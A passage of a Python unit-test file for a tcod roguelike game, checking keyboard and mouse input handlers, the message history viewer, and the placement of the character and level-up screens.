self.assertIsInstance(eh, LevelUpEventHandler)
def test_handle_action_none(self):
'''
tests that the handle_action function will return false
if the action is none
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = EventHandler(engine=eng)
pass_turn_bool = event_handler.handle_action(None)
self.assertFalse(pass_turn_bool)
@patch('engine.Engine.handle_enemy_turns')
@patch('engine.Engine.update_fov')
def test_handle_action_any(self, patch_handle_enemy_turns, patch_update_fov):
'''
tests that the handle_action function will return true
when a real action is passed in
'''
ent = Entity()
eng = Engine(player=ent)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
event_handler = EventHandler(engine=eng)
action = WaitAction(entity=ent)
pass_turn_bool = event_handler.handle_action(action)
self.assertTrue(pass_turn_bool)
patch_handle_enemy_turns.assert_called_once()
patch_update_fov.assert_called_once()
@patch('engine.Engine.handle_enemy_turns')
@patch('engine.Engine.update_fov')
def test_handle_action_impossible(self, patch_handle_enemy_turns, patch_update_fov):
'''
tests that the handle_action function will return false
when the perform action excepts with an impossible exception
'''
ent = Entity()
eng = Engine(player=ent)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
event_handler = EventHandler(engine=eng)
action = WaitAction(entity=ent)
with patch('actions.WaitAction.perform') as patch_peform:
patch_peform.side_effect = Impossible('lol, error')
pass_turn_bool = event_handler.handle_action(action)
self.assertFalse(pass_turn_bool)
self.assertEqual(
'lol, error', event_handler.engine.message_log.messages[0].full_text)
patch_handle_enemy_turns.assert_not_called()
patch_update_fov.assert_not_called()
def test_ev_mousemotion_in_bounds(self):
'''
test that moving the mouse will set the engine.mouse_location
'''
ent = Entity()
eng = Engine(player=ent)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
event_handler = EventHandler(engine=eng)
event = tcod.event.MouseMotion(tile=(5, 6))
event_handler.ev_mousemotion(event=event)
self.assertEqual(event_handler.engine.mouse_location, (5, 6))
def test_ev_mousemotion_not_in_bounds(self):
'''
test that moving the mouse out of bounds
will not set the engine.mouse_location
'''
ent = Entity()
eng = Engine(player=ent)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
event_handler = EventHandler(engine=eng)
event = tcod.event.MouseMotion(tile=(12, 12))
event_handler.ev_mousemotion(event=event)
# check for 0,0 to assert that the mouse_location did not move
self.assertEqual(event_handler.engine.mouse_location, (0, 0))
class Test_MainGameEventHandler(unittest.TestCase):
# tcod.event.KeyDown() events will trigger ev_keydown
def test_ev_keydown_period_rshift(self):
'''
tests that pressing rshift and period will return a stairs action
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.PERIOD, sym=tcod.event.K_PERIOD, mod=tcod.event.Modifier.RSHIFT)
action = event_handler.ev_keydown(event)
self.assertIsInstance(action, TakeStairAction)
def test_ev_keydown_period_lshift(self):
'''
tests that pressing lshift and period will return a stairs action
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.PERIOD, sym=tcod.event.K_PERIOD, mod=tcod.event.Modifier.LSHIFT)
action = event_handler.ev_keydown(event)
self.assertIsInstance(action, TakeStairAction)
def test_ev_keydown_up(self):
'''
tests that pressing up will move the player up
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 0)
self.assertEqual(action.dy, -1)
def test_ev_keydown_down(self):
'''
tests that pressing down will move the player down
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.DOWN, sym=tcod.event.K_DOWN, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 0)
self.assertEqual(action.dy, 1)
def test_ev_keydown_left(self):
'''
tests that pressing left will move the player left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.LEFT, sym=tcod.event.K_LEFT, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, 0)
def test_ev_keydown_right(self):
'''
tests that pressing right will move the player right
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.RIGHT, sym=tcod.event.K_RIGHT, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, 0)
def test_ev_keydown_home(self):
'''
tests that pressing home will move the player up and left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.HOME, sym=tcod.event.K_HOME, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, -1)
def test_ev_keydown_end(self):
'''
tests that pressing end will move the player down and left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.END, sym=tcod.event.K_END, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, 1)
def test_ev_keydown_pageup(self):
'''
tests that pressing pageup will move the player right and up
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.PAGEUP, sym=tcod.event.K_PAGEUP, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, -1)
def test_ev_keydown_pagedown(self):
'''
tests that pressing right will move the player right
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.PAGEDOWN, sym=tcod.event.K_PAGEDOWN, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, 1)
def test_ev_keydown_kp8(self):
'''
tests that pressing keypad 8 will move the player up
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_8, sym=tcod.event.K_KP_8, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 0)
self.assertEqual(action.dy, -1)
def test_ev_keydown_kp2(self):
'''
tests that pressing keypad 2 will move the player down
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_2, sym=tcod.event.K_KP_2, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 0)
self.assertEqual(action.dy, 1)
def test_ev_keydown_kp4(self):
'''
tests that pressing keypad 4 will move the player left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_4, sym=tcod.event.K_KP_4, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, 0)
def test_ev_keydown_kp6(self):
'''
tests that pressing keypad 6 will move the player right
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_6, sym=tcod.event.K_KP_6, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, 0)
def test_ev_keydown_kp7(self):
'''
tests that pressing kp 7 will move the player up and left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_7, sym=tcod.event.K_KP_7, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, -1)
def test_ev_keydown_kp1(self):
'''
tests that pressing end will move the player down and left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_1, sym=tcod.event.K_KP_1, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, 1)
def test_ev_keydown_kp9(self):
'''
tests that pressing pageup will move the player right and up
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_9, sym=tcod.event.K_KP_9, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, -1)
def test_ev_keydown_kp3(self):
'''
tests that pressing right will move the player right
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_3, sym=tcod.event.K_KP_3, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, 1)
def test_ev_keydown_k(self):
'''
tests that pressing k will move the player up
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.K, sym=tcod.event.K_k, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 0)
self.assertEqual(action.dy, -1)
def test_ev_keydown_j(self):
'''
tests that pressing j will move the player down
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.J, sym=tcod.event.K_j, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 0)
self.assertEqual(action.dy, 1)
def test_ev_keydown_h(self):
'''
tests that pressing h will move the player left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.H, sym=tcod.event.K_h, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, 0)
def test_ev_keydown_l(self):
'''
tests that pressing keypad 6 will move the player right
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.L, sym=tcod.event.K_l, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, 0)
def test_ev_keydown_y(self):
'''
tests that pressing y will move the player up and left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.Y, sym=tcod.event.K_y, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, -1)
def test_ev_keydown_b(self):
'''
tests that pressing end will move the player down and left
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.B, sym=tcod.event.K_b, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, -1)
self.assertEqual(action.dy, 1)
def test_ev_keydown_u(self):
'''
tests that pressing pageup will move the player right and up
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.U, sym=tcod.event.K_u, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, -1)
def test_ev_keydown_n(self):
'''
tests that pressing right will move the player right
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.N, sym=tcod.event.K_n, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, BumpAction)
self.assertEqual(action.dx, 1)
self.assertEqual(action.dy, 1)
def test_ev_keydown_period(self):
'''
tests that pressing period will cause the player to wait
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.PERIOD, sym=tcod.event.K_PERIOD, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, WaitAction)
def test_ev_keydown_kp5(self):
'''
tests that pressing keypad 5 will cause the player to wait
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_5, sym=tcod.event.K_KP_5, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, WaitAction)
def test_ev_keydown_clear(self):
'''
tests that pressing clear will cause the player to wait
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.CLEAR, sym=tcod.event.K_CLEAR, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, WaitAction)
def test_ev_keydown_escape(self):
'''
tests that pressing escape results in an EscapeAction
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.ESCAPE, sym=tcod.event.K_ESCAPE, mod=tcod.event.Modifier.NONE)
with self.assertRaises(SystemExit):
action = event_handler.dispatch(event)
def test_ev_keydown_v(self):
'''
tests that pressing v results in opening up the history viewer
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.V, sym=tcod.event.K_v, mod=tcod.event.Modifier.NONE)
ret = event_handler.ev_keydown(event=event)
self.assertIsInstance(ret, HistoryViewer)
def test_ev_keydown_g(self):
'''
tests that pressing g returns a pickup action
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.G, sym=tcod.event.K_g, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, PickupAction)
def test_ev_keydown_i(self):
'''
tests that pressing i will update the event_handler to InventoryActivateHandler
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.I, sym=tcod.event.K_i, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, InventoryActivateHandler)
def test_ev_keydown_d(self):
'''
tests that pressing d will update the event_handler to InventoryDropHandler
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.D, sym=tcod.event.K_d, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, InventoryDropHandler)
def test_ev_keydown_c(self):
'''
tests that pressing c will return CharacterScreenEventHandler
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.C, sym=tcod.event.K_c, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, CharacterScreenEventHandler)
def test_ev_keydown_SLASH(self):
'''
tests that pressing forward slash will update the event_handler to LookHandler
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.SLASH, sym=tcod.event.K_SLASH, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsInstance(action, LookHandler)
# using the backslash button as an unassigned button
def test_ev_keydown_other(self):
'''
tests that pressing an unassigned button will do nothing
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = MainGameEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.BACKSLASH, sym=tcod.event.K_BACKSLASH, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsNone(action)
def test_handle_events(self):
'''
TODO: implement this test
this is predicated on being able to add events to the tcod event list
and I'm not sure how to do that, so this will need to wait
'''
class Test_GameOverEventHandler(unittest.TestCase):
def test_handle_events(self):
'''
TODO: implement this test
this is predicated on being able to add events to the tcod event list
and I'm not sure how to do that, so this will need to wait
'''
def test_ev_keydown_escape(self):
'''
tests that pressing escape results in an EscapeAction
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = GameOverEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.ESCAPE, sym=tcod.event.K_ESCAPE, mod=tcod.event.Modifier.NONE)
with self.assertRaises(SystemExit):
event_handler.dispatch(event)
def test_ev_keydown_other(self):
'''
tests that pressing an unassigned button will do nothing
note that we're using UP, which will do something in other event handlers
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = GameOverEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE)
action = event_handler.dispatch(event)
self.assertIsNone(action)
class Test_HistoryViewer(unittest.TestCase):
def test_init(self):
'''
test that the HistoryViewer class can be initialized
'''
ent = Entity()
eng = Engine(player=ent)
eng.message_log.add_message('Hello')
eng.message_log.add_message('World')
eng.message_log.add_message('by Nuzcraft')
event_handler = HistoryViewer(engine=eng)
self.assertEqual(event_handler.log_length, 3)
self.assertEqual(event_handler.cursor, 2)
def test_on_render(self):
'''
I'm not actually sure what's worth testing here :/
we could make sure all the tcod.console commands are ran,
but there's no logic here to break. either they work or they dont
'''
def test_ev_keydown_top_to_bottom(self):
'''
test that moving up while at the top will push us to the bottom
i.e. set the cursor equal to the length of the log - 1
'''
ent = Entity()
eng = Engine(player=ent)
eng.message_log.add_message('Hello')
eng.message_log.add_message('World')
eng.message_log.add_message('by Nuzcraft')
event_handler = HistoryViewer(engine=eng)
event_handler.cursor = 0
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE)
event_handler.ev_keydown(event=event)
self.assertEqual(event_handler.cursor, event_handler.log_length - 1)
def test_ev_keydown_bottom_to_top(self):
'''
test that moving down while at the bottom will push us to the top
i.e. set the cursor equal to 0
'''
ent = Entity()
eng = Engine(player=ent)
eng.message_log.add_message('Hello')
eng.message_log.add_message('World')
eng.message_log.add_message('by Nuzcraft')
event_handler = HistoryViewer(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.DOWN, sym=tcod.event.K_DOWN, mod=tcod.event.Modifier.NONE)
event_handler.ev_keydown(event=event)
self.assertEqual(event_handler.cursor, 0)
def test_ev_keydown_up(self):
'''
test that moving up will push the cursor up 1
'''
ent = Entity()
eng = Engine(player=ent)
for x in range(0, 20): # 20 messages
eng.message_log.add_message('Message Number: %d' % x)
event_handler = HistoryViewer(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE)
self.assertEqual(event_handler.cursor, 19)
event_handler.ev_keydown(event=event)
self.assertEqual(event_handler.cursor, 18)
def test_ev_keydown_pg_up(self):
'''
test that pushing pgup will push the cursor up 10
'''
ent = Entity()
eng = Engine(player=ent)
for x in range(0, 20): # 20 messages
eng.message_log.add_message('Message Number: %d' % x)
event_handler = HistoryViewer(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.PAGEUP, sym=tcod.event.K_PAGEUP, mod=tcod.event.Modifier.NONE)
self.assertEqual(event_handler.cursor, 19)
event_handler.ev_keydown(event=event)
self.assertEqual(event_handler.cursor, 9)
def test_ev_keydown_down(self):
'''
test that pushing down will push the cursor down 1
'''
ent = Entity()
eng = Engine(player=ent)
for x in range(0, 20): # 20 messages
eng.message_log.add_message('Message Number: %d' % x)
event_handler = HistoryViewer(engine=eng)
event_handler.cursor = 0
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.DOWN, sym=tcod.event.K_DOWN, mod=tcod.event.Modifier.NONE)
self.assertEqual(event_handler.cursor, 0)
event_handler.ev_keydown(event=event)
self.assertEqual(event_handler.cursor, 1)
def test_ev_keydown_pg_down(self):
'''
test that pushing pgdown will push the cursor down 10
'''
ent = Entity()
eng = Engine(player=ent)
for x in range(0, 20): # 20 messages
eng.message_log.add_message('Message Number: %d' % x)
event_handler = HistoryViewer(engine=eng)
event_handler.cursor = 0
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.PAGEDOWN, sym=tcod.event.K_PAGEDOWN, mod=tcod.event.Modifier.NONE)
self.assertEqual(event_handler.cursor, 0)
event_handler.ev_keydown(event=event)
self.assertEqual(event_handler.cursor, 10)
def test_ev_keydown_home(self):
'''
test that pushing home will move the cursor to the top
'''
ent = Entity()
eng = Engine(player=ent)
for x in range(0, 20): # 20 messages
eng.message_log.add_message('Message Number: %d' % x)
event_handler = HistoryViewer(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.HOME, sym=tcod.event.K_HOME, mod=tcod.event.Modifier.NONE)
self.assertEqual(event_handler.cursor, 19)
event_handler.ev_keydown(event=event)
self.assertEqual(event_handler.cursor, 0)
def test_ev_keydown_end(self):
'''
test that pushing end will move the cursor to the bottom
'''
ent = Entity()
eng = Engine(player=ent)
for x in range(0, 20): # 20 messages
eng.message_log.add_message('Message Number: %d' % x)
event_handler = HistoryViewer(engine=eng)
event_handler.cursor = 5
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.END, sym=tcod.event.K_END, mod=tcod.event.Modifier.NONE)
self.assertEqual(event_handler.cursor, 5)
event_handler.ev_keydown(event=event)
self.assertEqual(event_handler.cursor, 19)
def test_ev_keydown_other(self):
'''
test that pushing any other button will exit the event
and set the engine event handler to MainGameEventHander
'''
ent = Entity()
eng = Engine(player=ent)
for x in range(0, 20): # 20 messages
eng.message_log.add_message('Message Number: %d' % x)
event_handler = HistoryViewer(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.K, sym=tcod.event.K_k, mod=tcod.event.Modifier.NONE)
ret = event_handler.ev_keydown(event=event)
self.assertIsInstance(ret, MainGameEventHandler)
class TestAskUserEventHandler(unittest.TestCase):
def test_ev_keydown_LSHIFT(self):
'''
test that sending a keydown event for LSHIFT will return none
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.LSHIFT, sym=tcod.event.K_LSHIFT, mod=tcod.event.Modifier.NONE)
ret = event_handler.ev_keydown(event=event)
self.assertIsNone(ret)
def test_ev_keydown_RSHIFT(self):
'''
test that sending a keydown event for RSHIFT will return none
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.RSHIFT, sym=tcod.event.K_RSHIFT, mod=tcod.event.Modifier.NONE)
ret = event_handler.ev_keydown(event=event)
self.assertIsNone(ret)
def test_ev_keydown_LCTRL(self):
'''
test that sending a keydown event for LCTRL will return none
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.LCTRL, sym=tcod.event.K_LCTRL, mod=tcod.event.Modifier.NONE)
ret = event_handler.ev_keydown(event=event)
self.assertIsNone(ret)
def test_ev_keydown_RCTRL(self):
'''
test that sending a keydown event for RCTRL will return none
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.RCTRL, sym=tcod.event.K_RCTRL, mod=tcod.event.Modifier.NONE)
ret = event_handler.ev_keydown(event=event)
self.assertIsNone(ret)
def test_ev_keydown_LALT(self):
'''
test that sending a keydown event for LALT will return none
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.LALT, sym=tcod.event.K_LALT, mod=tcod.event.Modifier.NONE)
ret = event_handler.ev_keydown(event=event)
self.assertIsNone(ret)
def test_ev_keydown_RALT(self):
'''
test that sending a keydown event for RALT will return none
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.RALT, sym=tcod.event.K_RALT, mod=tcod.event.Modifier.NONE)
ret = event_handler.ev_keydown(event=event)
self.assertIsNone(ret)
def test_ev_keydown_other(self):
'''
test that sending a keydown event for g will call self.on_exit
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.G, sym=tcod.event.K_g, mod=tcod.event.Modifier.NONE)
with patch("input_handlers.AskUserEventHandler.on_exit") as patch_on_exit:
ret = event_handler.ev_keydown(event=event)
patch_on_exit.assert_called_once()
def test_ev_mousebuttondown(self):
'''
test that sending a mouse click will call self.on_exit
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
event = tcod.event.MouseButtonDown()
with patch("input_handlers.AskUserEventHandler.on_exit") as patch_on_exit:
ret = event_handler.ev_mousebuttondown(event=event)
patch_on_exit.assert_called_once()
def test_on_exit(self):
'''
test that on_exit will update the engine event handler and return none
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = AskUserEventHandler(engine=eng)
eng.event_handler = event_handler
ret = event_handler.on_exit()
self.assertIsInstance(ret, MainGameEventHandler)
class TestCharacterScreenEventHandler(unittest.TestCase):
def test_on_render_player_on_left(self):
'''
test that the character screen will render on the right when the player is on the left
'''
console = Console(width=50, height=50, order='F')
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = CharacterScreenEventHandler(engine=eng)
with patch('tcod.console.Console.draw_frame') as patch_draw_frame:
event_handler.on_render(console=console)
patch_draw_frame.assert_called_once_with(
x=40,
y=0,
width=25,
height=7,
title="Character Information",
clear=True,
fg=(255, 255, 255),
bg=(0, 0, 0),
)
def test_on_render_player_on_right(self):
'''
test that the character screen will render on the left when the player is on the right
'''
console = Console(width=50, height=50, order='F')
player = Actor(
x=40,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = CharacterScreenEventHandler(engine=eng)
with patch('tcod.console.Console.draw_frame') as patch_draw_frame:
event_handler.on_render(console=console)
patch_draw_frame.assert_called_once_with(
x=0,
y=0,
width=25,
height=7,
title="Character Information",
clear=True,
fg=(255, 255, 255),
bg=(0, 0, 0),
)
class TestLevelUpEventHandler(unittest.TestCase):
def test_on_render_player_on_left(self):
'''
test that the level up window will render on the right when the player is on the left
'''
console = Console(width=50, height=50, order='F')
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = LevelUpEventHandler(engine=eng)
with patch('tcod.console.Console.draw_frame') as patch_draw_frame:
